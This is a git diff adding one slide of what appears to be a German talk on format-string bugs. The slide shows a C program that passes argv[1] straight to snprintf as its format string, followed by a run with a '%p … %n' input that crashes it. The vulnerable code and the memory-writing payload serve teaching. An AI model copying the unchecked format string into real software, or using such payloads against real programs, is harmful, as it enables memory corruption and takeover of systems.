1 files changed, 23 insertions, 0 deletions
diff --git a/stories/poetry/MeinVortrag/15.html b/stories/poetry/MeinVortrag/15.html
new file mode 100644
index 0000000..e132623
--- /dev/null
+++ b/stories/poetry/MeinVortrag/15.html
@@ -0,0 +1,23 @@
+<HTML><HEAD></HEAD><BODY><H1><PRE>
+<A HREF="14.html">&lt;-</A><A HREF="16.html">-></A>
+int main( int argc, char **argv ) {
+    int  test = 0x23232323;
+    char buffer[ 256 ];
+    printf( "test auf: %p\n", &test );   
+    printf( "test enthaelt: %x\n\n", test);
+    snprintf( buffer, sizeof buffer, argv[1] );
+    printf( "%s\n", buffer);
+    printf( "test enthaelt: %x\n\n", test);
+    return 0;
+}
+# ./vuln "AAAA%p %p %p %p %p %p%n  %p %p"
+test auf: 0xbfbff6c0
+test enthaelt: 0x23232323
+Segmentation fault (core dumped)
+</PRE></H1></BODY></HTML>

diff --git a/stories/poetry/MeinVortrag/15.html b/stories/poetry/MeinVortrag/15.html new file mode 100644 index 0000000..e132623 --- /dev/null +++ b/stories/poetry/MeinVortrag/15.html
@@ -0,0 +1,23 @@
	1	<HTML><HEAD></HEAD><BODY><H1><PRE>
	2	<A HREF="14.html"><-</A><A HREF="16.html">-></A>
	3	int main( int argc, char **argv ) {
	4	int test = 0x23232323;
	5	char buffer[ 256 ];
	6
	7	printf( "test auf: %p\n", &test );
	8	printf( "test enthaelt: %x\n\n", test);
	9
	10	snprintf( buffer, sizeof buffer, argv[1] );
	11
	12	printf( "%s\n", buffer);
	13	printf( "test enthaelt: %x\n\n", test);
	14
	15	return 0;
	16	}
	17
	18	# ./vuln "AAAA%p %p %p %p %p %p%n %p %p"
	19	test auf: 0xbfbff6c0
	20	test enthaelt: 0x23232323
	21
	22	Segmentation fault (core dumped)
	23	</PRE></H1></BODY></HTML>